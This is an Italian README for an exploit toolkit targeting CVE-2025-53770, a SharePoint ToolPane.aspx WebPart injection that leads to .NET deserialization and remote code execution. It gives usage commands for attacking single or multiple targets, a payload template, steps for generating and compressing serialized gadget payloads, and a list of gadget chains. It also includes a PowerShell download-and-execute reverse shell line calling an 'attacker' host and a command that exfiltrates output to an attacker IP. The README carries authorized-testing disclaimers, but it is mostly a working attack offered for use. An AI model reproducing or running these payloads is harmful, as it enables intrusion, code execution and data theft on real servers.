CVE-2025-53770-Exploit

📌 Toolkit Exploit per l'Iniezione di WebPart SharePoint

🍕 Strumento exploit per l'iniezione di WebPart SharePoint tramite ToolPane.aspx, che porta alla deserializzazione .NET e alla potenziale esecuzione remota di codice (RCE).

Sviluppato da: @GOTOCVE

🌍 Panoramica

Questo strumento sfrutta una vulnerabilità in Microsoft SharePoint (on-premises) che consente agli utenti autenticati di abusare dell'endpoint ToolPane.aspx e iniettare WebPart dannose contenenti oggetti .NET serializzati compressi con GZIP.

L'oggetto iniettato viene inserito nel parametro MSOTlPn_SelectedWpId e incorporato in una WebPart fittizia (come <Scorecard:ExcelDataSet>) che viene analizzata e deserializzata dal backend di SharePoint.

⚙️ Funzionalità

• ✅ Validazione automatica dell'endpoint (ToolPane.aspx)
• ✅ Iniezione di payload forniti dall'utente (oggetti .NET LosFormatter codificati in GZIP+Base64)
• ✅ Supporto proxy per Burp/ZAP
• ✅ Supporto per input di payload basato su file o diretto

🧪 Versioni Supportate

⚡ Riepilogo della Vulnerabilità

🧰 Componenti del Toolkit

✅ 1. exploit.py

Strumento exploit SharePoint multi-thread per CVE-2025-53770.

• Rileva SharePoint e la versione
• Verifica l'accesso a /ToolPane.aspx
• Invia payload WebPart dannosi

✅ 2. YSLosf.exe

Generatore di payload e deserializzatore LosFormatter.

🚀 Utilizzo

🔸 Utilizzo Base

python3 exploit.py -u https://target -p payload.txt

🔸 Target Multipli

python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080

🔸 Tutti gli Argomenti

🔧 Requisiti

• Python 3.10
• Installare le dipendenze:

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt

• Runtime .NET 4.8 (per eseguire YSLosf.exe)

💥 Struttura del Payload

Il payload deve essere:

1. Un oggetto .NET (es. DataSet, ObjectDataProvider)
2. Serializzato usando LosFormatter o BinaryFormatter
3. Codificato in Base64
4. Compresso con GZIP

Incorporato in una WebPart come:

<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>

🛠 Generazione di Payload con YSLosf

Passaggio 1: Creare il File del Payload

Inserisci il tuo comando (es. reverse shell) in payload.txt:

powershell -nop -c iwr http://attacker/shell.ps1 | iex

Passaggio 2: Generare il Payload Base64

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j

Base64 encoded:
L3dFRkJXWnNkRzFq

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc

Passaggio 3: Comprimere e Finalizzare

# compress.py
import gzip, base64

with open("base64.txt", "rb") as f:
    b64 = base64.b64decode(f.read())
    gz = gzip.compress(b64)
    # print(base64.b64encode(gz).decode())
    encoded = base64.b64encode(gz).decode()

with open("payload-final.txt", "w") as out_file:
    out_file.write(encoded)

Salva l'output in payload-final.txt e passalo allo strumento di exploit.

🧵 Catene Gadget Supportate

• System.Data.DataSet
• System.Data.Services.Internal.ExpandedWrapper
• System.Windows.Data.ObjectDataProvider
• System.Web.UI.LosFormatter

📡 Note sull'Output dei Comandi

Questa vulnerabilità non restituisce output (es. ipconfig) nella risposta. Devi:

• Usare payload di reverse shell
• Oppure esfiltrare l'output:

powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"

⚠️ Disclaimer Legale

Questo strumento è fornito solo per test di sicurezza autorizzati e a scopo educativo.

Non utilizzarlo contro sistemi senza autorizzazione esplicita. L'uso improprio può essere illegale e non etico.

🔍 Rilevamento

Se un server vulnerabile accetta il payload e riflette MSOTlPn_SelectedWpId o renderizza la pagina con la WebPart iniettata, è probabilmente sfruttabile. Nessun output significa che la deserializzazione è fallita o che il server ha applicato la patch.

🛑 Chiarimento Legale e Ambito di Questo Strumento

Questo strumento non fornisce né esegue alcun tipo di shellcode o web shell. Dimostra solo lo sfruttamento della vulnerabilità di deserializzazione .NET (CVE-2025-53770) tramite l'endpoint vulnerabile ToolPane.aspx utilizzando una struttura WebPart dannosa contenente un oggetto .NET compresso con GZIP.

🔹 Scopo: Aiutare ricercatori, red teamer e difensori a rilevare i server SharePoint vulnerabili e testare in sicurezza il vettore di iniezione con payload personalizzati.

🔹 Payload: Lo strumento richiede agli utenti di generare i propri payload (es. usando YSLosf.exe) che vengono incorporati nella WebPart come stringhe GZIP codificate in Base64.
È responsabilità dell'utente scegliere payload appropriati ed etici (come l'esecuzione innocua di calc.exe, marcatori beacon, ecc.).

🔹 NESSUNA Reverse Shell/Web Shell inclusa:
Sebbene gli attaccanti in scenari reali possano rilasciare web shell come spinstall0.aspx, questo progetto non include alcuna logica di questo tipo.
Se hai intenzione di consegnare una reverse shell, devi generare manualmente il tuo payload e assumerti la piena responsabilità del suo utilizzo.

Cronologia Stelle

📢 Altri Exploit e CVE?

Unisciti a @GOTOCVE su Telegram:

• 🔍 Analisi settimanali dei CVE
• 🧠 Writeup approfonditi sugli exploit
• 🛡 Contenuti per Red & Blue Team
• 💣 PoC reali e suggerimenti per il rilevamento

📬 Contatti

Creato da Ali Soltani
Per richieste di ricerca o segnalazioni di bug, contatta via Telegram